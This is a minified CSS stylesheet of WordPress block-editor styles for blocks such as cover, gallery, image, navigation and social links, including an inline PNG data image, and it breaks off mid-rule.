.wp-block-button{margin-bottom:0}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}.wp-block-categories ul{padding-left:2.5em}.wp-block-categories ul ul{margin-top:6px}.wp-block-columns .wp-block{max-width:none;margin-left:0;margin-right:0}@media (min-width:600px){.editor-styles-wrapper .block-editor-block-list__block.wp-block-column:nth-child(2n){margin-left:32px}}@media (min-width:782px){.editor-styles-wrapper .block-editor-block-list__block.wp-block-column:not(:first-child){margin-left:32px}}.block-editor-block-list__block.wp-block-column.wp-block-column{margin-top:0;margin-bottom:0}.wp-block-cover{height:100%}.wp-block-cover.is-placeholder{min-height:auto!important;padding:0!important}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient:before{background-color:#fff;opacity:.3}.wp-block-cover .components-spinner{position:absolute;z-index:1;top:50%;left:50%;transform:translate(-50%,-50%);margin:0}.wp-block-cover .block-editor-block-list__layout{width:100%}.wp-block-cover .wp-block-cover__inner-container{text-align:left;margin-left:0;margin-right:0}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-left:auto}.block-library-cover__resize-container{position:absolute!important;top:0;left:0;right:0;bottom:0}.block-library-cover__resize-container:not(.is-resizing){height:auto!important}.wp-block-embed{margin-left:0;margin-right:0;clear:both}.wp-block-embed.is-loading{display:flex;flex-direction:column;align-items:center;justify-content:center;padding:1em;min-height:200px;text-align:center;border-radius:2px;background-color:#fff;box-shadow:inset 0 0 0 1px #1e1e1e}.wp-block-embed.is-loading p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-embed .components-placeholder__learn-more{margin-top:1em}.block-library-embed__interactive-overlay{position:absolute;top:0;left:0;right:0;bottom:0;opacity:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}.wp-block-file{display:flex;justify-content:space-between;align-items:center;margin-bottom:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file .wp-block-file__textlink{display:inline-block;min-width:1em}.wp-block-file .wp-block-file__textlink:focus{box-shadow:none}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-left:.75em}.wp-block-freeform.block-library-rich-text__tinymce{height:auto}.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{line-height:1.8}.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{padding-left:2.5em;margin-left:0}.wp-block-freeform.block-library-rich-text__tinymce blockquote{margin:0;box-shadow:inset 0 0 0 0 #ddd;border-left:4px solid #000;padding-left:1em}.wp-block-freeform.block-library-rich-text__tinymce pre{white-space:pre-wrap;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;color:#1e1e1e}.wp-block-freeform.block-library-rich-text__tinymce>:first-child{margin-top:0}.wp-block-freeform.block-library-rich-text__tinymce>:last-child{margin-bottom:0}.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce a{color:var(--wp-admin-theme-color)}.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{padding:0 2px;margin:0 -2px;border-radius:2px;box-shadow:0 0 0 1px #e5f5fa;background:#e5f5fa}.wp-block-freeform.block-library-rich-text__tinymce code{padding:2px;border-radius:2px;color:#1e1e1e;background:#f0f0f0;font-family:Menlo,Consolas,monaco,monospace;font-size:14px}.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{background:#ddd}.wp-block-freeform.block-library-rich-text__tinymce .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-freeform.block-library-rich-text__tinymce .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{width:96%;height:20px;display:block;margin:15px auto;outline:0;cursor:default;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);background-size:1900px 20px;background-repeat:no-repeat;background-position:50%}.wp-block-freeform.block-library-rich-text__tinymce img::selection{background-color:transparent}.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{-ms-user-select:element}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{margin:0;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{display:block}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{-webkit-user-drag:none}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{padding-top:.5em;margin:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview{width:99.99%;position:relative;clear:both;margin-bottom:16px;border:1px solid transparent}.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{display:block;max-width:100%;background:transparent}.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{position:absolute;top:0;right:0;bottom:0;left:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{display:none}.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{border:1px dashed #ddd;padding:10px}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{border:1px solid #ddd;padding:1em 0;margin:0;word-wrap:break-word}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{margin:0;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{border-color:transparent}.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{display:block;margin:0 auto;width:32px;height:32px;font-size:32px}.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{content:"";display:table;clear:both}.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce .gallery a{cursor:default}.wp-block-freeform.block-library-rich-text__tinymce .gallery{margin:auto -6px;padding:6px 0;line-height:1;overflow-x:hidden}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{float:left;margin:0;text-align:center;padding:6px;box-sizing:border-box}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{margin:0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{font-size:13px;margin:4px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{width:100%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{width:50%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{width:33.3333333333%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{width:25%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{width:20%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{width:16.6666666667%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{width:14.2857142857%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{width:12.5%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{width:11.1111111111%}.wp-block-freeform.block-library-rich-text__tinymce .gallery img{max-width:100%;height:auto;border:none;padding:0}div[data-type="core/freeform"]:before{transition:border-color .1s linear,box-shadow .1s linear;border:1px solid #ddd;outline:1px solid transparent}@media (prefers-reduced-motion:reduce){div[data-type="core/freeform"]:before{transition-duration:0s}}div[data-type="core/freeform"].is-selected:before{border-color:#1e1e1e}div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{margin-top:0;padding-top:0}div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{content:"";display:table;clear:both}.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i,.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i{color:#1e1e1e}.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{margin-right:0;margin-left:8px}.mce-toolbar-grp .mce-btn i{font-style:normal}.block-library-classic__toolbar{display:none;width:auto;position:-webkit-sticky;position:sticky;z-index:31;top:0;border:1px solid #ddd;border-bottom:none;border-radius:2px;margin:0 0 8px;padding:0}div[data-type="core/freeform"].is-selected .block-library-classic__toolbar,div[data-type="core/freeform"].is-typing .block-library-classic__toolbar{display:block;border-color:#1e1e1e}.block-library-classic__toolbar .mce-tinymce{box-shadow:none}@media (min-width:600px){.block-library-classic__toolbar{padding:0}}.block-library-classic__toolbar:empty{display:block;background:#f5f5f5;border-bottom:1px solid #e2e4e7}.block-library-classic__toolbar:empty:before{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;content:attr(data-placeholder);color:#555d66;line-height:37px;padding:14px}.block-library-classic__toolbar div.mce-toolbar-grp{border-bottom:1px solid #1e1e1e}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{height:auto!important;width:100%!important}.block-library-classic__toolbar .mce-container-body.mce-abs-layout{overflow:visible}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{position:static}.block-library-classic__toolbar .mce-toolbar-grp>div{padding:1px 3px}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}.wp-block-gallery li{list-style-type:none}.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}figure.wp-block-gallery{display:block;margin:0}.blocks-gallery-grid.blocks-gallery-grid{padding-left:0;margin-left:0;margin-bottom:0}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";outline:2px solid transparent;position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;pointer-events:none}.blocks-gallery-item figure.is-selected figcaption{z-index:2}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{display:inline-flex}.blocks-gallery-item .block-editor-media-placeholder{margin:0;height:100%}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.block-library-gallery-item__inline-menu{display:none;position:absolute;top:-2px;margin:8px;z-index:20;transition:box-shadow .2s ease-out;border-radius:2px;background:#fff;border:1px solid #1e1e1e}@media (prefers-reduced-motion:reduce){.block-library-gallery-item__inline-menu{transition-duration:0s}}.block-library-gallery-item__inline-menu:hover{box-shadow:0 2px 6px rgba(0,0,0,.05)}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{padding:2px}}.block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){border:none;box-shadow:none}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{padding:0;width:inherit;height:inherit}}.block-library-gallery-item__inline-menu.is-left{left:-2px}.block-library-gallery-item__inline-menu.is-right{right:-2px}.blocks-gallery-item .components-spinner{position:absolute;top:50%;left:50%;margin-top:-9px;margin-left:-9px}.wp-block-group .block-editor-block-list__insertion-point{left:0;right:0}.wp-block-group>.wp-block-group__inner-container>[data-align=full]{margin-left:auto;margin-right:auto}.wp-block-group.has-background>.wp-block-group__inner-container>[data-align=full]{margin-left:-30px;width:calc(100% + 60px)}[data-align=full] .wp-block-group>.wp-block-group__inner-container>.wp-block{padding-left:14px;padding-right:14px}@media (min-width:600px){[data-align=full] .wp-block-group>.wp-block-group__inner-container>.wp-block{padding-left:0;padding-right:0}}[data-align=full] .wp-block-group>.wp-block-group__inner-container>[data-align=full]{padding-right:0;padding-left:0;left:0;width:100%;max-width:none}[data-align=full] .wp-block-group.has-background>.wp-block-group__inner-container>[data-align=full]{width:calc(100% + 60px)}[data-type="core/group"].is-selected .block-list-appender{margin-left:0;margin-right:0}[data-type="core/group"].is-selected .has-background .block-list-appender{margin-top:18px;margin-bottom:18px}.block-library-heading-level-dropdown .components-popover__content{min-width:230px}.block-library-heading-level-dropdown .components-popover__content>div{padding:0}.block-library-heading-level-toolbar{border:none}.block-library-html__edit{margin-bottom:28px}.block-library-html__edit .block-library-html__preview-overlay{position:absolute;width:100%;height:100%;top:0;left:0}.block-library-html__edit .block-editor-plain-text{font-family:Menlo,Consolas,monaco,monospace;color:#1e1e1e;padding:.8em 1em;border:1px solid #ddd;border-radius:4px;max-height:250px;font-size:16px}@media (min-width:600px){.block-library-html__edit .block-editor-plain-text{font-size:13px}}.block-library-html__edit .block-editor-plain-text:focus{box-shadow:none}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{position:absolute;top:50%;left:50%;margin-top:-9px;margin-left:-9px}.wp-block-image:not(.is-style-rounded)>div{border-radius:inherit}.wp-block-image .components-resizable-box__container{display:inline-block}.wp-block-image .components-resizable-box__container img{display:block;width:inherit;height:inherit}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{position:absolute;left:0;right:0;margin:-1px 0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{display:table-caption;caption-side:bottom}.wp-block[data-align=left]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=right]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block-image__crop-area{position:relative;max-width:100%;width:100%}.wp-block-image__crop-icon{padding:0 8px;min-width:48px;display:flex;justify-content:center;align-items:center}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{overflow:visible;min-width:260px}.wp-block-image__zoom .components-range-control{flex:1}.wp-block-image__zoom .components-base-control__field{display:flex;margin-bottom:0;flex-direction:column;align-items:flex-start}.wp-block-image__aspect-ratio{height:46px;margin-bottom:-8px;display:flex;align-items:center}.wp-block-image__aspect-ratio .components-button{width:36px;padding-left:0;padding-right:0}.wp-block-latest-comments.has-avatars .avatar{margin-right:10px}.wp-block-latest-comments__comment-excerpt p{font-size:14px;line-height:1.8;margin:5px 0 20px;padding-top:0}.wp-block-latest-comments.has-avatars .wp-block-latest-comments__comment{min-height:36px}.wp-block-latest-posts{padding-left:2.5em}.wp-block-latest-posts.is-grid{padding-left:0}.wp-block-latest-posts li a>div{display:inline}.edit-post-visual-editor .wp-block-latest-posts.is-grid li{margin-bottom:20px}ol.has-background.has-background,ul.has-background.has-background{padding:1.25em 2.375em}.wp-block-media-text .__resizable_base__{-ms-grid-column:1;-ms-grid-column-span:2;grid-column:1/span 2;-ms-grid-row:2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.block-editor-block-list__block[data-type="core/more"]{max-width:100%;text-align:center;margin-top:28px;margin-bottom:28px}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{position:relative;font-size:13px;text-transform:uppercase;font-weight:600;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;color:#757575;border:none;box-shadow:none;white-space:nowrap;text-align:center;margin:0;border-radius:4px;background:#fff;padding:6px 8px;height:24px;max-width:100%}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{content:"";position:absolute;top:50%;left:0;right:0;border-top:3px dashed #ccc}.editor-styles-wrapper .wp-block-navigation ol,.editor-styles-wrapper .wp-block-navigation ul{margin-bottom:0;margin-left:0;padding-left:0}.editor-styles-wrapper .wp-block-navigation .block-editor-block-list__block{margin:0}.wp-block-navigation .block-list-appender{display:inline-flex;-ms-grid-row-align:center;align-self:center;width:24px;height:24px}.wp-block-navigation.is-vertical .block-list-appender{margin:8px}.wp-block-navigation__inserter-content{padding:16px}.wp-block-navigation__container{min-height:44px}.wp-block-navigation__container.is-parent-of-selected-block{visibility:visible;opacity:1}.has-child:hover>.wp-block-navigation__container,.has-child>.wp-block-navigation__container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__container,.has-child.is-selected>.wp-block-navigation__container,.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__container{opacity:1;visibility:visible}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{height:30px;position:relative;margin:0 auto;padding:3px;display:flex;align-items:center;border-radius:4px}.block-library-colors-selector .block-library-colors-selector__state-selection{margin-left:auto;margin-right:auto;border-radius:11px;box-shadow:inset 0 0 0 1px rgba(0,0,0,.2);width:22px;min-width:22px;height:22px;min-height:22px;line-height:20px;padding:2px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:right;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.is-editing>.wp-block-navigation__container{visibility:visible;opacity:1;display:flex;flex-direction:column}.wp-block-navigation-placeholder{min-height:44px}.wp-block-navigation-placeholder .components-spinner{margin-top:-4px;margin-left:4px;vertical-align:middle;margin-right:7px}.wp-block-navigation-placeholder .components-custom-select-control__button{height:auto;padding:.375rem .75rem .375rem 1.5rem;min-width:13.75rem}.wp-block-navigation-placeholder .components-custom-select-control.has-menus .components-custom-select-control__item.is-create-empty-option{position:relative;margin-top:20px}.wp-block-navigation-placeholder .components-custom-select-control.has-menus .components-custom-select-control__item.is-create-empty-option:before{content:"";position:absolute;top:-10px;left:25px;right:25px;height:15px;border-top:1px solid #757575}.wp-block-navigation-placeholder .components-custom-select-control__label{margin-bottom:1rem;font-size:13px;font-weight:400}.wp-block-navigation-placeholder .components-custom-select-control__menu{margin:0;max-height:none;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.wp-block-navigation .block-editor-button-block-appender{justify-content:flex-start}.wp-block-navigation-placeholder__preview{position:absolute;top:0;right:0;bottom:0;left:0;display:flex;flex-direction:row;align-items:center;transition:all .1s ease-in-out}@media (prefers-reduced-motion:reduce){.wp-block-navigation-placeholder__preview{transition-duration:0s}}.wp-block-navigation-placeholder__preview .wp-block-navigation-link.wp-block-navigation-link{border-radius:2px;background:currentColor;min-width:72px;height:16px;margin:12px 24px 12px 0}.wp-block-navigation-placeholder__preview .wp-block-navigation-link.wp-block-navigation-link,.wp-block-navigation-placeholder__preview svg{opacity:.3}.is-selected .wp-block-navigation-placeholder__preview{opacity:.2}.wp-block-navigation-placeholder__controls{padding:4px 8px;border-radius:2px;background-color:#fff;box-shadow:inset 0 0 0 1px #1e1e1e;flex-direction:row;align-items:center;display:none;position:relative;z-index:1}.is-selected .wp-block-navigation-placeholder__controls{display:flex}.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{flex-direction:column}.is-selected.is-vertical .wp-block-navigation-placeholder__controls{display:inline-flex}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{margin-right:12px;height:36px}.is-vertical .wp-block-navigation-placeholder,.is-vertical .wp-block-navigation-placeholder__controls,.is-vertical .wp-block-navigation-placeholder__preview{min-height:156px}.is-vertical .wp-block-navigation-placeholder__controls,.is-vertical .wp-block-navigation-placeholder__preview{flex-direction:column;align-items:flex-start}.wp-block-navigation-placeholder__actions{display:flex;font-size:13px}.wp-block-navigation-placeholder__actions .components-button.components-dropdown-menu__toggle.has-icon{padding:6px 12px;display:flex;flex-direction:row-reverse}.wp-block-navigation-link__container,.wp-block-navigation-link__field .components-text-control__input.components-text-control__input{border-radius:0;line-height:36px;min-height:36px}.wp-block-navigation-link .block-editor-block-list__layout{display:block}.wp-block-navigation-link.is-editing,.wp-block-navigation-link.is-selected{min-width:20px}.wp-block-navigation-link .block-editor-rich-text__editable.is-selected:not(.keep-placeholder-on-focus):not(:focus)[data-rich-text-placeholder]:after{display:inline-block}.wp-block-navigation-link .block-list-appender{margin:10px 16px 16px 10px}.wp-block-navigation-link__separator{margin:8px 0;border-top:1px solid #ddd}.components-popover.wp-block-navigation-link__dropdown-content{margin-top:-1px;margin-left:-4px}.wp-block-navigation-link__dropdown-content .components-popover__content>div{padding:8px 0}.wp-block-navigation .block-editor-block-list__block[data-type="core/navigation-link"]>.block-editor-block-list__insertion-point{display:none}.block-editor-block-list__block[data-type="core/nextpage"]{max-width:100%;text-align:center;margin-top:28px;margin-bottom:28px}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{font-size:13px;position:relative;text-transform:uppercase;font-weight:600;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;color:#757575;border-radius:4px;background:#fff;padding:6px 8px;height:24px}.wp-block-nextpage:before{content:"";position:absolute;top:50%;left:0;right:0;border-top:3px dashed #ccc}.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{min-height:auto!important}.wp-block-post-content__placeholder{height:100px;border:1px dashed;display:flex;justify-content:center;align-items:center}.wp-block-post-content__placeholder span{font-style:italic}.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline-block}.wp-block-post-author{display:flex;flex-wrap:wrap}.wp-block-post-author .wp-block-post-author__byline{font-size:.5em;margin-top:0;position:relative;font-style:normal}.wp-block-post-author .wp-block-post-author__content{flex-grow:1;flex-basis:0}.wp-block-post-author .wp-block-post-author__avatar img{margin:0}.wp-block-post-author .wp-block-post-author__avatar{margin-bottom:-8px}.wp-block-post-author .wp-block-post-author__name{margin:0;font-weight:700}.wp-block-post-author .wp-block-post-author__bio{margin:0 0 8px;font-size:.7em}.wp-block[data-align=left]>.wp-block-pullquote p,.wp-block[data-align=right]>.wp-block-pullquote p{font-size:20px}.wp-block-pullquote blockquote p{font-size:28px;line-height:1.6}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{text-transform:none;font-style:normal}.wp-block-pullquote .wp-block-pullquote__citation{color:inherit}.wp-block-quote__citation{font-size:13px}.wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form{display:flex;align-items:stretch}.wp-block-rss__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.wp-block-rss__placeholder-form>*{margin-bottom:0}}.wp-block-rss__placeholder-input{display:flex;align-items:stretch;flex-grow:1}.wp-block-rss__placeholder-input .components-base-control__field{display:flex;align-items:stretch;flex-grow:1;margin:0 8px 0 0}.wp-block-search .wp-block-search__input{padding:8px}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper{padding:4px}.wp-block-search .wp-block-search__button{height:auto;border-radius:initial}.wp-block-search .wp-block-search__button.wp-block-search__button.wp-block-search__button{padding:6px 10px}.wp-block-search__components-button-group{margin-top:10px}.block-editor-block-list__block[data-type="core/separator"]{padding-top:.1px;padding-bottom:.1px}[data-type="core/shortcode"] .block-editor-plain-text{max-height:250px}[data-type="core/shortcode"].components-placeholder{min-height:0}.blocks-shortcode__textarea{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal}@media (prefers-reduced-motion:reduce){.blocks-shortcode__textarea{transition-duration:0s}}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px;line-height:normal}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.blocks-shortcode__textarea::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.blocks-shortcode__textarea::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.blocks-shortcode__textarea:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .blocks-shortcode__textarea::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .blocks-shortcode__textarea::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .blocks-shortcode__textarea:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.wp-block[data-align=center]>.wp-block-site-logo{margin-left:auto;margin-right:auto;text-align:center}.wp-block-site-logo.is-resized{display:table}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo .custom-logo-link.is-transient img{opacity:.3}.wp-block-site-logo img{display:block;max-width:100%}.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-links .wp-social-link button{font-size:inherit;color:currentColor;height:auto;line-height:0;padding:.25em}.wp-block-social-links.is-style-pill-shape .wp-social-link button{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links div.block-editor-url-input{display:inline-block;margin-left:8px}.wp-social-link:hover{transform:none}.editor-styles-wrapper .wp-block-social-links{padding:0}.wp-block-social-links__social-placeholder{display:flex;opacity:.8;transition:all .1s ease-in-out}@media (prefers-reduced-motion:reduce){.wp-block-social-links__social-placeholder{transition-duration:0s}}.is-selected .wp-block-social-links__social-placeholder{opacity:.1}.wp-block-social-links__social-placeholder>.wp-social-link{padding-left:0!important;margin-left:0!important;padding-right:0!important;margin-right:0!important;width:0!important;visibility:hidden}.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{display:flex;position:absolute}.wp-block-social-links__social-placeholder+.block-list-appender,.wp-block-social-links__social-placeholder .wp-social-link{padding:.25em}.is-style-pill-shape .wp-block-social-links__social-placeholder+.block-list-appender,.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links__social-placeholder 